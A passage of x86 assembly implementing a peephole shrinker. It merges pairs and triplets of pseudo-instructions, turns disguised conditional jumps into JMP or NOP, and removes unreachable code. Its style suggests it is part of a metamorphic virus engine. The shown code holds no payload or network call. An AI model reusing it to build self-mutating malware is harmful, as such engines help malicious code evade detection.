@@Double_Next11_CalculateOperation_8b:
|
|
push ebx
|
|
xor eax, eax
|
|
mov al, [esi+7]
|
|
mov ecx, eax
|
|
mov al, [edi+7]
|
|
mov edx, eax
|
|
jmp @@Double_Next_CalculateOperation_2
|
|
@@Double_Next11_OPMemImm_8b:
|
|
mov eax, [edi]
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jnz @@Double_Next12
|
|
mov eax, [esi+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next12
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next12
|
|
mov ebx, 84h
|
|
jmp @@Double_Next11_CalculateOperation_8b
|
|
|
|
@@Double_Next12:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 0FCh ; LEA?
|
|
jnz @@Double_Next13
|
|
mov al, [edi]
|
|
cmp eax, 01h ; LEA + ADD Reg,Reg?
|
|
jz @@Double_Next12_MergeLEAADDReg
|
|
or eax, eax ; LEA + ADD Reg,Imm?
|
|
jnz @@Double_Next13
|
|
@@Double_Next12_MergeLEAADD:
|
|
mov eax, [esi+7] ; Check if destiny in LEA is the same
|
|
cmp al, [edi+1] ; as destiny in ADD
|
|
jnz @@Double_Next13
|
|
mov eax, [edi+7] ; If so, add the Imm of the ADD to the
|
|
add [esi+3], eax ; dword addition in the LEA and set
|
|
jmp @@Double_Next_SetNOP ; NOP at first instruction
|
|
@@Double_Next12_MergeLEAADDReg:
|
|
mov eax, [esi+7]
|
|
cmp al, [edi+7] ; Check if destinies are the same
|
|
jnz @@Double_Next13
|
|
mov eax, 8
|
|
cmp al, [esi+1] ; Look for a free space to insert the
|
|
jz @@Double_Next12_SetFirstReg ; register addition in the
|
|
cmp al, [esi+2] ; LEA
|
|
jz @@Double_Next12_SetSecondReg
|
|
mov eax, [edi+1] ; If the register is already inserted,
|
|
cmp al, [esi+2] ; set a *2 in the multiplicator
|
|
jz @@Double_Next12_AddScalar
|
|
cmp al, [esi+1]
|
|
jnz @@Double_Next13
|
|
mov eax, [esi+2]
|
|
cmp al, 40h ; If multiplicator is already *2 or
|
|
jae @@Double_Next13 ; greater, don't shrink
|
|
push eax ; Exchange registers, to set the one
|
|
mov eax, [esi+1] ; repeated in the second slot of the
|
|
add eax, 40h ; indexes.
|
|
mov [esi+2], al ; Set *2
|
|
pop eax
|
|
mov [esi+1], al
|
|
jmp @@Double_Next_SetNOP ; Eliminate first instruction
|
|
@@Double_Next12_AddScalar:
|
|
mov eax, [esi+2] ; Set *2 to the second index
|
|
add eax, 40h
|
|
mov [esi+2], al
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_SetFirstReg:
|
|
mov eax, [edi+1] ; Set a new index register
|
|
mov [esi+1], al
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next12_SetSecondReg:
|
|
mov eax, [edi+1] ; Set a new second index register
|
|
mov [esi+2], al
|
|
jmp @@Double_Next_SetNOP
|
|
|
|
@@Double_Next13:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 4Fh ; MOV Mem,Mem?
|
|
jnz @@Double_Next14
|
|
mov al, [edi]
|
|
cmp eax, 4Fh ; MOV Mem,Mem2 + MOV Mem2,Mem3?
|
|
jz @@Double_Next13_MergeMOVs ; Then, merge them
|
|
cmp eax, 4Ch
|
|
ja @@Double_Next13_NotOPRegMem
|
|
@@Double_Next13_OPRegMem_2:
|
|
and eax, 7
|
|
cmp eax, 2 ; MOV Mem,Mem2 + OP Reg,Mem?
|
|
jz @@Double_Next13_OPRegMem
|
|
mov al, [edi]
|
|
jmp @@Double_Next13_NotOPRegMem2
|
|
@@Double_Next13_NotOPRegMem:
|
|
cmp eax, 00h+80h ; Same with 8 bits?
|
|
jb @@Double_Next13_NotOPRegMem2
|
|
cmp eax, 4Ch+80h
|
|
jbe @@Double_Next13_OPRegMem_2
|
|
@@Double_Next13_NotOPRegMem2:
|
|
cmp eax, 43h ; Merge MOVs
|
|
jz @@Double_Next13_MOVMemReg
|
|
cmp eax, 0F6h ; APICALL_STORE = MOV Mem,EAX
|
|
jz @@Double_Next13_MOVMemReg
|
|
cmp eax, 44h ; MOV Mem,Mem2 + MOV Mem2,Imm?
|
|
jz @@Double_Next13_MOVMemImm
|
|
cmp eax, 0EAh ; MOV Mem,Mem2 + CALL Mem?
|
|
jz @@Double_Next13_CALLMem
|
|
cmp eax, 0EBh ; MOV Mem,Mem2 + JMP Mem?
|
|
jnz @@Double_Next14
|
|
@@Double_Next13_JMPMem:
|
|
@@Double_Next13_CALLMem:
|
|
@@Double_Next13_OPRegMem:
|
|
mov ebx, [esi+7] ; Merge Mem operands
|
|
mov eax, [ebx+1]
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next14
|
|
mov eax, [esi+1]
|
|
mov [edi+1], eax
|
|
mov eax, [esi+3]
|
|
mov [edi+3], eax
|
|
jmp @@Double_Next_SetNOPAt1st
|
|
@@Double_Next13_MergeMOVs:
|
|
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 =
|
|
mov eax, [ebx+1] ; = MOV Mem,Mem3
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_Next14
|
|
mov eax, [edi+7]
|
|
mov [esi+7], eax
|
|
mov [eax+7], esi
|
|
jmp @@Double_Next_SetNOP
|
|
@@Double_Next13_MOVMemReg:
|
|
@@Double_Next13_MOVMemImm:
|
|
mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm =
|
|
mov eax, [ebx+1] ; = MOV Mem,Reg/Imm
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_Next14
|
|
mov eax, [ebx+3]
|
|
cmp eax, [edi+3]
|
|
jz @@Double_Next_SetNOPAt1st
|
|
|
|
@@Double_Next14:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 70h ; Jcc?
|
|
jb @@Double_Next15
|
|
cmp eax, 7Fh
|
|
ja @@Double_Next15
|
|
mov al, [edi]
|
|
cmp eax, 0E9h ; Jcc + JMP?
|
|
jz @@Double_Next14_CheckJMP
|
|
cmp eax, 70h
|
|
jb @@Double_Next15
|
|
cmp eax, 7Fh ; Jcc + Jcc?
|
|
ja @@Double_Next15
|
|
mov eax, [edi+1] ; Check if they point to the next
|
|
cmp eax, [esi+1] ; label
|
|
jnz @@Double_Next15
|
|
mov eax, [esi]
|
|
and eax, 0Fh
|
|
mov ebx, eax
|
|
mov eax, [edi]
|
|
and eax, 0Fh
|
|
; EAX = Flag test 1
|
|
; EBX = Flag test 2
|
|
call GetRealCheck ; Merge the flag checking
|
|
cmp eax, 0FFh
|
|
jz @@Double_End
|
|
add eax, 70h ; Add 70 to the result
|
|
cmp eax, 0E9h ; If Jcc + Jcc == JMP, set it, and jump
|
|
jz @@Double_Next32_JMP ; to eliminate the code until the
|
|
; next label
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next14_CheckJMP:
|
|
mov eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123
|
|
cmp eax, [esi+1]
|
|
jz @@Double_Next_SetNOPAt1st
|
|
jmp @@Double_End
|
|
|
|
@@Double_Next15:
|
|
; mov edx, 40h
|
|
; call Check_OP_MOV
|
|
; cmp eax, 0FFh ; This makes many problems!
|
|
; jz @@Double_Next_SetNOPAt1st ;
|
|
; Disabled.
|
|
@@Double_Next16:
|
|
; mov edx, 0C0h
|
|
; call Check_OP_MOV
|
|
; cmp eax, 0FFh
|
|
; jz @@Double_Next_SetNOPAt1st
|
|
|
|
@@Double_Next17:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 0E0h ; NOT Reg?
|
|
jnz @@Double_Next18
|
|
mov ebx, 0E4h ; NOT Reg + NEG Reg?
|
|
xor ecx, ecx
|
|
mov edx, 1 ; Set ADD Reg,1
|
|
@@Double_Next_Check_NOT_OP:
|
|
xor eax, eax
|
|
mov al, [edi]
|
|
cmp eax, ebx ; 0E4h
|
|
jz @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1
|
|
cmp eax, ecx ; 00h
|
|
jnz @@Double_End
|
|
@@Double_Next17_NEGReg:
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_End
|
|
@@Double_Next17_NEGReg_2:
|
|
test ebx, 2
|
|
jz @@Double_Next17_Get32
|
|
xor eax, eax
|
|
mov al, [edi+7]
|
|
cmp eax, 80h
|
|
jb @@Double_Next17_Cont00
|
|
add eax, 0FFFFFF00h
|
|
jmp @@Double_Next17_Cont00
|
|
@@Double_Next17_Get32:
|
|
mov eax, [edi+7]
|
|
@@Double_Next17_Cont00:
|
|
cmp eax, edx
|
|
jnz @@Double_End
|
|
mov eax, ebx ; NEG
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next17_ADDReg:
|
|
mov eax, [esi+1]
|
|
cmp al, [edi+1]
|
|
jnz @@Double_End
|
|
@@Double_Next17_ADDReg_2:
|
|
mov eax, edx
|
|
mov [esi+7], eax
|
|
mov eax, ecx
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
@@Double_Next18:
|
|
;mov al, [esi]
|
|
cmp eax, 0E2h ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1
|
|
jnz @@Double_Next19
|
|
mov ebx, 0E6h
|
|
mov ecx, 80h
|
|
mov edx, 1 ; If so, set ADD Reg8,1/NEG Reg8
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next19:
|
|
;mov al, [esi]
|
|
cmp eax, 0E4h ; NEG Reg + NOT Reg/ADD Reg,-1?
|
|
jnz @@Double_Next20
|
|
mov ebx, 0E0h
|
|
xor ecx, ecx
|
|
mov edx, -1 ; If so, set ADD Reg,-1/NOT Reg
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next20:
|
|
;mov al, [esi]
|
|
cmp eax, 0E6h ; NEG Reg8 + NOT Reg8/ADD Reg8,-1?
|
|
jnz @@Double_Next21
|
|
mov ebx, 0E2h
|
|
mov ecx, 80h
|
|
mov edx, -1 ; Set ADD Reg8,-1/NOT Reg8
|
|
jmp @@Double_Next_Check_NOT_OP
|
|
|
|
@@Double_Next21:
|
|
cmp eax, 0E1h ; NOT Mem + NEG Mem/ADD Mem,1?
|
|
jnz @@Double_Next22
|
|
mov ebx, 0E5h
|
|
mov ecx, 4
|
|
mov edx, 1 ; Then, set ADD Mem,1/NEG Mem
|
|
@@Double_Next_Check_NOT_OP_Mem:
|
|
xor eax, eax
|
|
mov al, [edi]
|
|
cmp eax, ebx
|
|
jz @@Double_Next21_ADDMem
|
|
cmp eax, ecx
|
|
jnz @@Double_End
|
|
@@Double_Next21_NEGMem:
|
|
mov eax, [esi+1] ; Check if operands are the same
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_End
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_End
|
|
xor eax, eax
|
|
jmp @@Double_Next17_NEGReg_2
|
|
@@Double_Next21_ADDMem:
|
|
mov eax, [esi+1] ; Check NOT/NEG + ADD,1/-1
|
|
cmp eax, [edi+1]
|
|
jnz @@Double_End
|
|
mov eax, [esi+3]
|
|
cmp eax, [edi+3]
|
|
jnz @@Double_End
|
|
xor eax, eax
|
|
jmp @@Double_Next17_ADDReg_2
|
|
|
|
@@Double_Next22:
|
|
cmp eax, 0E3h ; NOT Mem8 + NEG Mem8/ADD Mem,1?
|
|
jnz @@Double_Next23
|
|
mov ebx, 0E7h
|
|
mov ecx, 84h
|
|
mov edx, 1 ; Set ADD Mem8,1/NEG Mem8
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
@@Double_Next23:
|
|
cmp eax, 0E5h ; NEG Mem + NOT Mem/ADD Mem,-1?
|
|
jnz @@Double_Next24
|
|
mov ebx, 0E1h
|
|
mov ecx, 4
|
|
mov edx, -1 ; Set ADD Mem,-1/NOT Mem
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
@@Double_Next24:
|
|
cmp eax, 0E7h ; NEG Mem8 + NOT Mem8/ADD Mem8,-1?
|
|
jnz @@Double_Next25
|
|
mov ebx, 0E3h
|
|
mov ecx, 84h
|
|
mov edx, -1 ; Set ADD Mem8,-1/NOT Mem8
|
|
jmp @@Double_Next_Check_NOT_OP_Mem
|
|
|
|
|
|
; Next four conditions are also disabled. They would work theorically, but they
|
|
; don't in practice :/
|
|
@@Double_Next25:
|
|
; cmp eax, 38h
|
|
; jb @@Double_Next26
|
|
; cmp eax, 3Ch
|
|
; ja @@Double_Next26
|
|
; @@Double_Next_CheckComparision:
|
|
; mov al, [edi]
|
|
; cmp eax, 70h
|
|
; jb @@Double_Next_NoComparision
|
|
; cmp eax, 7Fh
|
|
; jbe @@Double_End
|
|
; @@Double_Next_NoComparision:
|
|
; jmp @@Double_Next_SetNOPAt1st
|
|
|
|
@@Double_Next26:
|
|
; ;mov al, [esi]
|
|
; cmp eax, 38h+80h
|
|
; jb @@Double_Next27
|
|
; cmp eax, 3Ch+80h
|
|
; jbe @@Double_Next_CheckComparision
|
|
|
|
@@Double_Next27:
|
|
; ;mov al, [esi]
|
|
; cmp eax, 48h
|
|
; jb @@Double_Next28
|
|
; cmp eax, 4Ch
|
|
; jbe @@Double_Next_CheckComparision
|
|
|
|
@@Double_Next28:
|
|
; ;mov al, [esi]
|
|
; cmp eax, 48h+80h
|
|
; jb @@Double_Next29
|
|
; cmp eax, 4Ch+80h
|
|
; jbe @@Double_Next_CheckComparision
|
|
|
|
@@Double_Next29:
|
|
cmp eax, 0EAh ; CALL Mem + MOV Mem,EAX?
|
|
jnz @@Double_Next30
|
|
@@Double_Next29_CheckAPICALL_STORE:
|
|
mov al, [edi]
|
|
cmp eax, 43h
|
|
jnz @@Double_End
|
|
mov al, [edi+7] ; Check EAX
|
|
or eax, eax
|
|
jnz @@Double_End
|
|
mov eax, 0F6h
|
|
mov [edi], al ; Set APICALL_STORE
|
|
xor eax, eax
|
|
mov [edi+7], eax ; If we put 0 here we can treat this as
|
|
jmp @@EndCompressed ; an special opcode 43h (MOV Mem,Reg)
|
|
|
|
@@Double_Next30:
|
|
cmp eax, 0ECh ; Check CALL Reg + MOV Mem,EAX?
|
|
jz @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE
|
|
|
|
@@Double_Next31:
|
|
cmp eax, 42h ; MOV Reg,Mem?
|
|
jnz @@Double_Next32
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 20h ; MOV Reg,Mem + AND Reg,0FF?
|
|
jz @@Double_Next31_MaybeMOVZX ; Set MOVZX
|
|
mov al, [esi+7]
|
|
cmp eax, 2 ; EAX,ECX,EDX? (it only uses these three)
|
|
ja @@Double_Next32
|
|
cmp al, [edi+1]
|
|
jnz @@Double_Next32
|
|
mov al, [edi]
|
|
cmp eax, 0ECh ; CALL Reg?
|
|
jnz @@Double_Next32
|
|
sub eax, 2 ; MOV Reg,Mem + CALL Reg = CALL Mem
|
|
jmp @@Double_Next_SetInstruction
|
|
@@Double_Next31_MaybeMOVZX:
|
|
mov eax, [edi+7] ; Check MOVZX. We check if the destiny
|
|
cmp eax, 0FFh ; registers are the same one
|
|
jnz @@Double_Next32
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov ebx, [edi+1]
|
|
and ebx, 0FFh
|
|
cmp eax, ebx
|
|
jnz @@Double_Next32
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh ; AND Reg,0FF?
|
|
cmp eax, ebx
|
|
jz @@Double_Next32
|
|
mov eax, [esi+2]
|
|
and eax, 0Fh ; Set the register
|
|
cmp eax, ebx
|
|
jz @@Double_Next32
|
|
mov eax, 0F8h ; Set MOVZX Reg,byte ptr Mem
|
|
jmp @@Double_Next_SetInstruction
|
|
|
|
|
|
@@Double_Next32:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 39h ; CMP Reg,Reg?
|
|
jnz @@Double_Next33
|
|
@@Double_Next32_Common:
|
|
mov al, [edi]
|
|
cmp eax, 70h ; CMP Reg,Reg + Jcc @xxx?
|
|
jb @@Double_End
|
|
cmp eax, 7Fh
|
|
ja @@Double_End
|
|
mov al, [esi+1]
|
|
mov ebx, eax ; If source and destiny in CMP aren't
|
|
mov al, [esi+7] ; the same, it's not a camuflated JMP
|
|
cmp eax, ebx
|
|
jnz @@Double_End
|
|
|
|
mov eax, [edi] ; Check flags when we jump for sure
|
|
and eax, 07h ; and when the two instructions do
|
|
cmp eax, 1 ; nothing.
|
|
jz @@Double_Next32_JMP
|
|
cmp eax, 6
|
|
jz @@Double_Next32_JMP
|
|
mov eax, [edi]
|
|
and eax, 0Fh
|
|
cmp eax, 2
|
|
jbe @@Double_Next32_NOP
|
|
cmp eax, 4
|
|
jbe @@Double_Next32_JMP
|
|
cmp eax, 0Ah
|
|
jz @@Double_Next32_JMP
|
|
cmp eax, 0Dh
|
|
jz @@Double_Next32_JMP
|
|
@@Double_Next32_NOP:
|
|
mov eax, 0FFh ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG
|
|
mov [edi], eax
|
|
jmp @@EndCompressed
|
|
@@Double_Next32_JMP:
|
|
mov eax, 0E9h ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE
|
|
mov [edi], al
|
|
mov edx, edi
|
|
; After the jump, we eliminate all the instructions until the next labelled
|
|
; instruction. That instructions are never executed, so we NOP them to avoid
|
|
; its reassembly.
|
|
@@Double_Next32_EliminateNonReachableCode:
|
|
add edx, 10h
|
|
cmp edx, [ebp+AddressOfLastInstruction]
|
|
jae @@EndCompressed
|
|
mov al, [edx+0Bh] ; Check label mark
|
|
or eax, eax
|
|
jnz @@EndCompressed
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
jmp @@Double_Next32_EliminateNonReachableCode
|
|
|
|
|
|
@@Double_Next33:
|
|
cmp eax, 39h+80h ; Do the same with CMP Reg8,Reg8
|
|
jz @@Double_Next32_Common
|
|
|
|
@@Double_End:
|
|
|
|
|
|
;; Here we check triplets of instructions and merge them into one.
|
|
@@Check_Triple:
|
|
mov edx, esi
|
|
mov esi, edi
|
|
call IncreaseEIP
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndNoCompressed
|
|
xor eax, eax
|
|
mov al, [edi+0Bh]
|
|
or eax, eax
|
|
jnz @@EndNoCompressed ; No compress if a label is pointing
|
|
; the last instruction
|
|
; Check triplet in [edx],[esi],[edi]
|
|
|
|
@@Triple_Next00:
|
|
;xor eax, eax
|
|
mov al, [edx]
|
|
cmp eax, 43h ; MOV Mem,Reg?
|
|
jnz @@Triple_Next01
|
|
mov eax, [edx+1] ; Check mem operands
|
|
cmp eax, [esi+1]
|
|
jnz @@Triple_Next01
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_Next01
|
|
mov eax, [edi]
|
|
cmp al, 42h ; 3rd instruction == MOV Reg,Mem?
|
|
jz @@Triple_Next00_Constr00
|
|
cmp al, 70h ; 3rd instr. == Jcc?
|
|
jb @@Triple_Next01
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next01
|
|
mov eax, [esi]
|
|
and eax, 0F8h ; Get the comparision
|
|
or eax, eax
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 28h ; SUB?
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Triple_Next00_Maybe01
|
|
cmp eax, 20h ; AND?
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_Maybe01:
|
|
xor ebx, ebx
|
|
@@Triple_Next00_CheckCMPTEST:
|
|
mov eax, [esi] ; Get the operation being performed
|
|
and eax, 07Fh
|
|
cmp eax, 48h ; If test, jump
|
|
jb @@Triple_Next00_CheckCMPTEST_00
|
|
and eax, 7
|
|
cmp eax, 2 ; Check if it's OP Reg,Mem
|
|
jz @@Triple_Next00_CMPTESTRegReg
|
|
jmp @@Triple_Next00_CheckCMPTEST_01
|
|
@@Triple_Next00_CheckCMPTEST_00:
|
|
and eax, 7
|
|
cmp eax, 3 ; Check if it's OP Mem,Reg
|
|
jz @@Triple_Next00_CMPTESTRegReg
|
|
@@Triple_Next00_CheckCMPTEST_01:
|
|
cmp eax, 4 ; Check if it's OP Mem,Imm
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_CMPTESTRegImm:
|
|
mov eax, [edx+7]
|
|
mov [esi+1], al ; Set CMP/TEST Reg,Imm
|
|
; xor ebx, ebx
|
|
@@Triple_Next00_SET_CMPTEST:
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 48h ; Check TEST
|
|
jz @@Triple_Next00_SetInstruction
|
|
cmp eax, 20h ; Check AND
|
|
jz @@Triple_Next00_Cont80
|
|
cmp eax, 38h ; Check CMP
|
|
jz @@Triple_Next00_SetInstruction
|
|
or eax, eax ; Check ADD (maybe is a conversion
|
|
jz @@Triple_Next00_NegateImm ; of SUB Reg,Imm)
|
|
@@Triple_Next00_SetCMP:
|
|
mov eax, 38h ; Set CMP if it's SUB/CMP
|
|
jmp @@Triple_Next00_SetInstruction
|
|
@@Triple_Next00_NegateImm:
|
|
mov eax, [esi+7]
|
|
neg eax ; If it's ADD is because I converted the
|
|
mov [esi+7], eax ; SUB as a single instruction before
|
|
jmp @@Triple_Next00_SetCMP
|
|
@@Triple_Next00_Cont80:
|
|
mov eax, 48h ; Set TEST if it's TEST/AND
|
|
@@Triple_Next00_SetInstruction:
|
|
add eax, ebx
|
|
mov [esi], al
|
|
mov eax, 0FFh
|
|
mov [edx], al
|
|
jmp @@EndCompressed
|
|
@@Triple_Next00_CMPTESTRegReg:
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
or eax, eax ; ADD?
|
|
jz @@Triple_End ; If so, finish
|
|
mov eax, [esi+7]
|
|
mov [esi+1], al
|
|
mov eax, [edx+7]
|
|
mov [esi+7], al
|
|
add ebx, 1
|
|
jmp @@Triple_Next00_SET_CMPTEST
|
|
@@Triple_Next00_Constr00:
|
|
mov eax, [esi]
|
|
cmp al, 4Ch ; Common OP?
|
|
ja @@Triple_Next01
|
|
xor ebx, ebx
|
|
@@Triple_Next00_Common:
|
|
mov eax, [esi]
|
|
and eax, 78h ; Get instruction
|
|
cmp eax, 48h ; If it's not TEST, finish
|
|
jb @@Triple_Next00_Common_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2 ; Check TEST Reg,Mem
|
|
jz @@Triple_Next00_Maybe00
|
|
jmp @@Triple_Next00_Common_01
|
|
@@Triple_Next00_Common_00:
|
|
mov eax, [esi]
|
|
and al, 7
|
|
cmp al, 3 ; Check OP Mem,Reg
|
|
jz @@Triple_Next00_Maybe00
|
|
@@Triple_Next00_Common_01:
|
|
cmp al, 4 ; Check OP Mem,Imm
|
|
jnz @@Triple_End
|
|
@@Triple_Next00_Maybe00:
|
|
mov eax, [edx+1] ; Check the Mem operand among the
|
|
cmp eax, [esi+1] ; instructions
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+1]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
cmp eax, [edi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [edx+7]
|
|
cmp al, [edi+7]
|
|
jnz @@Triple_End
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 48h ; Get if it's TEST
|
|
jb @@Triple_Next00_00
|
|
mov eax, [esi]
|
|
and eax, 7 ; Check TEST Reg,Mem
|
|
cmp eax, 2
|
|
jz @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is
|
|
jmp @@Triple_Next00_01
|
|
@@Triple_Next00_00:
|
|
mov eax, [esi]
|
|
and eax, 7 ; Check OP Mem,Reg
|
|
cmp eax, 3
|
|
jz @@Triple_Next00_Maybe_OPRegReg
|
|
@@Triple_Next00_01:
|
|
mov eax, [edx+7]
|
|
mov [edx+1], al
|
|
mov eax, [esi+7]
|
|
mov [edx+7], eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
add eax, ebx ; Set the instruction with the EBX
|
|
@@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.)
|
|
mov [edx], al
|
|
@@Triple_Next_SetNOP:
|
|
mov eax, 0FFh
|
|
mov [esi], al
|
|
mov [edi], al ; Eliminate the 2nd and 3rd instruction
|
|
jmp @@EndCompressed
|
|
@@Triple_Next00_Maybe_OPRegReg:
|
|
mov eax, [esi+7]
|
|
mov [edx+1], eax
|
|
mov eax, [edi+7]
|
|
mov [edx+7], eax
|
|
mov eax, [esi]
|
|
and eax, 0F8h ; Set CMP/TEST Reg,Reg
|
|
add eax, 1
|
|
jmp @@Triple_Next_SetInstruction
|
|
|
|
|
|
@@Triple_Next01:
|
|
mov eax, [edx]
|
|
cmp al, 43h+80h ; Check the same as above, but this
|
|
jnz @@Triple_Next02 ; time with 8 bits instructions. Since
|
|
mov eax, [edx+1] ; there are many different opcodes,
|
|
cmp eax, [esi+1] ; it's not worthy to try to merge it
|
|
jnz @@Triple_Next02 ; with the routine above, but all the
|
|
mov eax, [edx+3] ; others that check the possibility of
|
|
cmp eax, [esi+3] ; compression are from there, linking
|
|
jnz @@Triple_Next02 ; the possibilities with Jccs.
|
|
mov eax, [edi]
|
|
cmp al, 42h+80h
|
|
jz @@Triple_Next01_Constr00
|
|
cmp al, 70h
|
|
jb @@Triple_Next02
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next02
|
|
mov eax, [esi]
|
|
and eax, 0F8h
|
|
cmp eax, 00h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 28h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 38h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 48h+80h
|
|
jz @@Triple_Next01_Maybe01
|
|
cmp eax, 20h+80h
|
|
jnz @@Triple_End
|
|
@@Triple_Next01_Maybe01:
|
|
mov ebx, 80h
|
|
jmp @@Triple_Next00_CheckCMPTEST
|
|
@@Triple_Next01_Constr00:
|
|
mov ebx, 80h
|
|
mov eax, [esi]
|
|
cmp al, 4Ch+80h
|
|
ja @@Triple_Next02 ; Well, at least we achieved to
|
|
cmp al, 00h+80h ; use as many instructions from the
|
|
jae @@Triple_Next00_Common ; @@Triple_Next00 as we can :)
|
|
|
|
|
|
@@Triple_Next02:
|
|
mov eax, [edx]
|
|
cmp al, 4Fh ; MOV Mem,Mem?
|
|
jnz @@Triple_Next03
|
|
mov eax, [edi]
|
|
cmp al, 70h ; Jcc in 3rd?
|
|
jb @@Triple_Next02_ContCheck
|
|
cmp al, 7Fh
|
|
ja @@Triple_Next02_ContCheck
|
|
mov ebx, [edx+7] ; Get the destiny address and check
|
|
mov eax, [ebx+1] ; if first and second instruction
|
|
cmp eax, [esi+1] ; use the same operand.
|
|
jnz @@Triple_End
|
|
mov eax, [ebx+3]
|
|
cmp eax, [esi+3]
|
|
jnz @@Triple_End
|
|
mov eax, [esi]
|
|
and eax, 78h ; Check for comparisions:
|
|
cmp eax, 20h ; AND?
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 28h ; SUB?
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Triple_Next02_CheckCMPTESTMemReg
|
|
cmp eax, 48h ; TEST?
|
|
jnz @@Triple_Next03
|
|
@@Triple_Next02_CheckCMPTESTRegMem:
|
|
@@Triple_Next02_CheckCMPTESTMemReg:
|
|
mov eax, [edx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [edx+3]
|
|
mov [esi+3], eax
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 38h ; CMP?
|
|
jz @@EndCompressed
|
|
cmp eax, 48h ; TEST?
|
|
jz @@EndCompressed
|
|
cmp eax, 20h ; AND?
|
|
jz @@Triple_Next02_SetTEST
|
|
mov ebx, 10h ; Transform from SUB to CMP
|
|
@@Triple_Next02_ConvertInstruction:
|
|
mov eax, [esi] ; Set the instruction
|
|
add eax, ebx
|
|
mov [esi], eax
|
|
jmp @@EndCompressed
|
|
@@Triple_Next02_SetTEST:
|
|
mov ebx, 28h ; Transform from AND to TEST
|
|
jmp @@Triple_Next02_ConvertInstruction
|
|
@@Triple_Next02_ContCheck:
|
|
;mov al, [edi]
|
|
cmp al, 4Fh ; Check the 3rd instruction for a
|
|
jnz @@Triple_Next03 ; common operation
|
|
mov eax, [esi]
|
|
cmp al, 4Ch ; Check now the 2nd instruction
|
|
jbe @@Triple_Next02_CommonOperation
|
|
cmp al, 00h+80h ; Check if it's 8 bits instructions
|
|
jb @@Triple_Next03
|
|
cmp al, 4Ch+80h
|
|
ja @@Triple_Next03
|
|
@@Triple_Next02_CommonOperation:
|
|
cmp eax, 0F6h ; Check for APICALL_STORE
|
|
jz @@Triple_Next02_OPMemReg
|
|
and eax, 78h
|
|
cmp eax, 48h ; Check for a common instruction
|
|
jb @@Triple_Next02_00
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
cmp eax, 2 ; Check if it's OP Reg,Mem in 2nd
|
|
jz @@Triple_Next02_OPMemReg
|
|
jmp @@Triple_Next02_01
|
|
